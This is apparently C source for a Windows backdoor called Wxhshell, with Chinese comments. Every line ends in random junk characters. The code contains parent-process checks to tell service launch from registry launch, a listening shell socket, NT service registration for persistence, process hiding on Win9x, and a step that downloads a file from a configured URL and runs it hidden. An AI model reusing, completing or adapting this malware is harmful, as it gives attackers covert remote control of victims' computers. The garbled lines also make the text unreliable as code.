FRf.mv{
ULONG InheritedFromUniqueProcessId; kShniN
} PROCESS_BASIC_INFORMATION; Kna'5L5"
4SrK]+|
PROCNTQSIP NtQueryInformationProcess; 3PGyqt(
{mQJ6
G'ny
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L5W>in5(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $9~1s/('
@:@rks&
HANDLE hProcess; m @%|Q;
PROCESS_BASIC_INFORMATION pbi; wMoAvA_oS
@!da1jN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +*q@= P,
if(NULL == hInst ) return 0; /~[R
u
>>r:L3 <!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Y ZLQT
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -G 'lyH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e{,/
mI%/k7:sf
if (!NtQueryInformationProcess) return 0; URgF8?n
pS\>X_G3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AngwBZ@
if(!hProcess) return 0; #`$7$Y~]
Xn=fLb(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K;l'IN"N
c"ztrKQQ
CloseHandle(hProcess); @gc"-V*-/
8E+l;2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jlBCu(.,_
if(hProcess==NULL) return 0; }t'^Au`X
fL;p^t u3
HMODULE hMod; ULjzhy+(8
char procName[255]; !Xi>{nV
unsigned long cbNeeded; d#Ajb
]N_^{k,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [4j;FN Fa
v3Yj2LSqx
CloseHandle(hProcess); A\)X&vR[6
3#[I_
if(strstr(procName,"services")) return 1; // 以服务启动 YP,PJnJU8
t^5_;sJQ
return 0; // 注册表启动 p/~kw:I
} 6pR#z@,
aw1J#5j`n
// 主模块 HV.7IyBA^
int StartWxhshell(LPSTR lpCmdLine) X;:xGZ-oY
{ +kL(lBv'
SOCKET wsl; ltR^IiA}
BOOL val=TRUE; <4,?lZ
int port=0; FF/R_xnx
struct sockaddr_in door; E,@UM$alP
df& |Lc1J
if(wscfg.ws_autoins) Install(); W)cLMGet
}HorR2(`N
port=atoi(lpCmdLine); #+0R!Y
F.D1;,x
if(port<=0) port=wscfg.ws_port; KT71%?P
]s@8I2_
WSADATA data; CaBS0'
n
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ui!|!V-
gUA}%YXe
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nh)R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `F 8;{`a
door.sin_family = AF_INET; w.p'Dpw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); qhtAtP>i"
door.sin_port = htons(port); VYo;[ue([
/H@")je
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XH$|DeAFM
closesocket(wsl); q&T'x> /
return 1; f*}E\,V"&
} CJ
t}*!UixE
if(listen(wsl,2) == INVALID_SOCKET) { (t$/G3E
closesocket(wsl); cV,Dl`1r
return 1; Po.BcytM
} FSs$ ]
d;
Wxhshell(wsl); &Ld8Z9IeFp
WSACleanup(); M) XQi/
`0|&T;7
return 0; Eo&qc 17)`
-U[`pUY?f
}
Fjt,
\'Kj.EO{?$
// 以NT服务方式启动 $#3<rcOq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z|)1l`
{ [Od9,XBa
DWORD status = 0; .fY<"2g
DWORD specificError = 0xfffffff; l>Ja[`X@
y4rJ-
serviceStatus.dwServiceType = SERVICE_WIN32; ':)j@O3-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; PJ:5Lb<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ywh%OEH
serviceStatus.dwWin32ExitCode = 0; +N:6wZ7<f
serviceStatus.dwServiceSpecificExitCode = 0; xGv,%'u\
serviceStatus.dwCheckPoint = 0; G;c0
serviceStatus.dwWaitHint = 0; 6RQCKN)
k+GnF00N^8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bI6wE'h
if (hServiceStatusHandle==0) return; <SdJM1%Qo
.eB"la|d
status = GetLastError(); cG!2Iy~lA
if (status!=NO_ERROR) =2]rA
{ VQjFEJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; .+L_!A
serviceStatus.dwCheckPoint = 0; EiP&Y,vT
serviceStatus.dwWaitHint = 0; !nBm}E7d
serviceStatus.dwWin32ExitCode = status; yPG\ &Bo
serviceStatus.dwServiceSpecificExitCode = specificError; 8;f<q u|w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8!Mzr1:
return; nk$V{(FJ
} )wzs~Fn/
NG!cEo:2aa
serviceStatus.dwCurrentState = SERVICE_RUNNING; )X!DCL:16
serviceStatus.dwCheckPoint = 0; AYu'ptDNr
serviceStatus.dwWaitHint = 0; q=%
C (
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B "F`OS[
} jsi#l
9iddanQA
// 处理NT服务事件,比如:启动、停止 "q>I?UcZ
VOID WINAPI NTServiceHandler(DWORD fdwControl) _.*4Y
{ r2F
switch(fdwControl) 5QFXj)hR+4
{ 1o~U+s_r
case SERVICE_CONTROL_STOP: v\9,j
serviceStatus.dwWin32ExitCode = 0; <Dj$0g
serviceStatus.dwCurrentState = SERVICE_STOPPED; QDgEJ%U-
serviceStatus.dwCheckPoint = 0; g6/N\[b%
serviceStatus.dwWaitHint = 0; SAE'?_
{ B6'%J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #[0\=B-
} 3auJ^B}
return; E,D:D3O
case SERVICE_CONTROL_PAUSE: *[1u[H9Cv
serviceStatus.dwCurrentState = SERVICE_PAUSED; cYWy\+
break; Ril21o! j
case SERVICE_CONTROL_CONTINUE: l88a#zUQDN
serviceStatus.dwCurrentState = SERVICE_RUNNING; Sd<@X@iU8D
break; !ga(L3vf
case SERVICE_CONTROL_INTERROGATE: ZOrTbik
break; ^'u;e(AaE
}; Xlqz8cI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7=p-A_X
} o&XMgY~
'K@{vB
// 标准应用程序主函数 `k}l$ih`X
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (&P0la1
{ d7_ g
u
~
S?-{X+
// 获取操作系统版本 )_c=mT
OsIsNt=GetOsVer(); <jRFN&"h}
GetModuleFileName(NULL,ExeFile,MAX_PATH); [6_Du6\h
C>:/(O
// 从命令行安装 Hr<C2p^a
if(strpbrk(lpCmdLine,"iI")) Install(); QLB1:O>
+i`Q 7+d
// 下载执行文件 )p!*c,
if(wscfg.ws_downexe) { Rgfc29(8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) te\h?H
WinExec(wscfg.ws_filenam,SW_HIDE); 7dlKdKH
} N7~)qqb
rZ!Yi*? f
if(!OsIsNt) { :<N6i/
// 如果时win9x,隐藏进程并且设置为注册表启动 RhV:Z3f`6
HideProc(); &G
pA1
StartWxhshell(lpCmdLine); jr[<i\!
} | ,1bkJt
else da00p-U
if(StartFromService()) hSkc9jBF
// 以服务方式启动 sk7rU+<
StartServiceCtrlDispatcher(DispatchTable); uK;K{
else |YE,) kiF
// 普通方式启动 ,XeyE;||
StartWxhshell(lpCmdLine); U50s!Zt45
$/, BJ/9
return 0; Y[iDX#
}